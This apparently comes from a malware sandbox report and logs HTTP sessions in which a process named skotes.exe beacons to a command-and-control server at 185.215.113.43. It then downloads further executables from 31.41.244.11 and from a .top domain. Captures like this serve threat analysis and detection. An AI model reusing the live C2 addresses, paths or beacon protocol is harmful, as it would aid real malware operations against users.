Nov 19, 2024 01:06:14.669509888 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62836 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:06:15.409204006 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:06:15.533638954 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62837 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:06:15.610337019 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:06:15.734313965 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62837 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:07:11.572730064 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:07:11.696813107 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62893 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:07:12.212995052 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:07:12.338594913 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62894 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:07:12.833735943 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:07:12.957817078 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62894 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:08:32.692883015 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:08:32.817147017 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62974 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:08:56.486856937 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:08:56.611349106 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62998 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:10:15.984761953 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:10:16.109988928 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 63078 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:10:16.599374056 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:10:16.723906040 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 63078 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50263	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:36.369725943 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:03:37.283246040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50267	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:38.812760115 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:03:39.719300032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50277	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:41.340795994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:03:42.253652096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50280	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:43.782579899 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:03:44.699172974 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 37 32 37 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1007278001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50281	31.41.244.11	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:44.712816954 CET	138	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Mon, 18 Nov 2024 22:16:54 GMT If-None-Match: "673bbcd6-435600"
Nov 19, 2024 01:03:45.587285042 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:45 GMT Last-Modified: Mon, 18 Nov 2024 22:16:54 GMT Connection: keep-alive ETag: "673bbcd6-435600"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	50282	62.76.234.151	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:47.568352938 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 19, 2024 01:03:48.579896927 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 19 Nov 2024 00:03:48 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 19, 2024 01:03:48.579915047 CET	1236	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL9~%kkI3/
Nov 19, 2024 01:03:48.579931021 CET	424	IN	Data Raw: 28 b3 c9 7e 6c 68 3b ec 93 86 4d 1e d9 d3 f3 c8 e6 a0 74 e1 2b 10 e7 6f 14 0d e1 f9 96 26 70 76 d2 ab 2c 02 fc 94 ff b7 d2 7a 65 6c 80 36 fc 03 dd d3 0f a3 9a f2 c9 89 84 7e 6c 8d 4d 23 4b 8a 6c d4 62 41 d4 0d 8d 7f ce d7 b4 d2 f9 0e 8d e7 15 b3 Data Ascii: (~lh;Mt+o&pv,zel6~lM#KlbAR"6Y#\XAQrGDp:+ WT><\3.Zfmq4 ( \M4[ZZOY\[,=y$4g6%XN#L7=a@h6\50#
Nov 19, 2024 01:03:48.581876993 CET	1236	IN	Data Raw: 3f 61 a4 e8 11 37 59 2e 4b 66 a9 69 fa 39 0f 32 0b 60 bf be 73 a4 ca 1d 13 13 71 a8 01 6e b3 d1 34 43 18 8f 49 c6 b3 06 92 e6 19 06 20 87 d0 70 43 79 f0 0e 5c 6f 43 a3 ab f3 a8 9a f0 a7 91 95 72 cc 26 eb 13 1f e8 3d 1b 1d 5b 1f 2d a3 a1 96 4f ff Data Ascii: ?a7Y.Kfi92`sqn4CI pCy\oCr&=[-Om!v6/>P,bFOZ'$(XyEnCW6MO4On/>rB^)C^x;vE`IEo-&3yK)z,a5(p=4K!(
Nov 19, 2024 01:03:48.581892967 CET	1236	IN	Data Raw: 13 d9 fd 05 30 2b 6b f2 45 15 a8 0f 6b f0 d1 a7 b5 88 9f 63 99 57 05 54 90 5d 41 f4 e0 79 01 a3 1c b0 c6 53 53 7b 68 d1 f9 21 29 c8 b3 5a f7 7e 0f 40 fb ea 6a d4 1e 85 63 76 3d fa 0c ad 53 c7 5f bf 20 8c e6 b5 a5 ea 95 99 74 9f ba f3 d4 19 d1 0c Data Ascii: 0+kEkcWT]AySS{h!)Z~@jcv=S_ tgW$#f,Sd[s9cRzdMt@Z6AUQ,B$Xau#f}#(&Wx-rPf+s.KDzBd#C"Im,sbp"\|I
Nov 19, 2024 01:03:48.581909895 CET	424	IN	Data Raw: 9b 5e 55 ea c8 04 30 09 a0 ad 6f 98 39 07 3a 09 34 d5 70 69 3b c7 68 0f ab 1d 64 83 ff 02 7a eb ec f2 4e 4d 5b 8e 0f d1 38 74 27 92 6d d5 b8 69 22 6b 23 ba 3c 56 55 71 64 2f 27 55 80 14 9d 28 5c 63 f2 ae 37 5e 00 18 5f 83 bd 60 7c 5d 23 cd 0c 6f Data Ascii: ^U0o9:4pi;hdzNM[8t'mi"k#<VUqd/'U(\c7^_`\|]#o,za7n]$^__aC9Vejc#1#(vcRAvO+:uoC{Th;#w-f3e]kZI0k)To}@NVPbq
Nov 19, 2024 01:03:48.585541010 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 19, 2024 01:03:48.585557938 CET	1236	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(w.A?o}'S54 N9E
Nov 19, 2024 01:03:48.585572004 CET	424	IN	Data Raw: e4 06 be 7d 2a a6 43 9e ff d1 4e c1 98 f1 24 f0 96 65 fb e0 b9 97 ea 12 4d ed e9 69 9d 76 c2 28 05 01 38 41 0d ca 7e ae 92 c2 1d 02 df f9 00 db c5 11 f5 e2 59 6a 5f bd 95 30 16 f5 e5 c4 df 4e 75 05 05 ab 33 06 f4 70 f4 23 fc 98 3c 08 ac 3f c5 ff Data Ascii: }CN$eMiv(8A~Yj_0Nu3p#<?hJqg}UMR^N5u&;,r/xB4wcZ.3ApDvg:]U5M3'8kNBM2h#gI?T0+]`5B1E^go$
Nov 19, 2024 01:03:48.587526083 CET	1236	IN	Data Raw: 84 f0 98 20 cb 7a 7a d2 2b 7c 9c cf 4d 80 85 a1 c0 a1 c5 97 a6 60 56 db 3b ef 93 30 9a 5d e3 a7 90 c4 f7 2a 21 72 a6 df 98 af 5f 54 57 db 87 70 2d 45 63 d2 a6 a3 f8 37 84 c7 b0 a5 c3 82 69 9b ae 52 33 2e 03 33 28 38 19 cd 9e 46 0e b9 df 50 df 39 Data Ascii: zz+\|M`V;0]!r_TWp-Ec7iR3.3(8FP98BV{EB-REwLc^y,j}]9>1CA+#(/:jJ78EySl!!i9F~^5v>:Kd$,KIv%!kQHI8>
Nov 19, 2024 01:03:48.589379072 CET	1236	IN	Data Raw: db 5a f6 ef 70 85 92 e6 a4 0d 11 68 e3 23 a1 8f bb c9 69 e3 eb b3 9d b4 36 3e 26 27 7f 8d ea 68 18 f1 9a bb d9 97 27 00 5f 01 eb 91 14 97 1b 8f 16 b8 9f 95 dc 70 a6 d4 1a d9 54 49 3a 65 45 19 31 a7 fd e0 96 d7 67 a1 ae 5e 7c 7d 8e 22 79 4d e2 8e Data Ascii: Zph#i6>&'h'_pTI:eE1g^\|}"yMLG:wp;Rbz"9a9kPglYhoQ37e"q3eUX_'>y Yb`&Fh.Eb8!iQrGo~&l(lvt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50285	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:48.180947065 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007278001&unit=246122658369
Nov 19, 2024 01:03:49.091630936 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50288	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:50.722639084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:03:51.620862007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50290	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:53.146604061 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:03:54.058721066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50291	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:55.678256989 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:03:56.592788935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50293	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:58.116831064 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:03:59.028371096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50305	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:04:00.653439045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
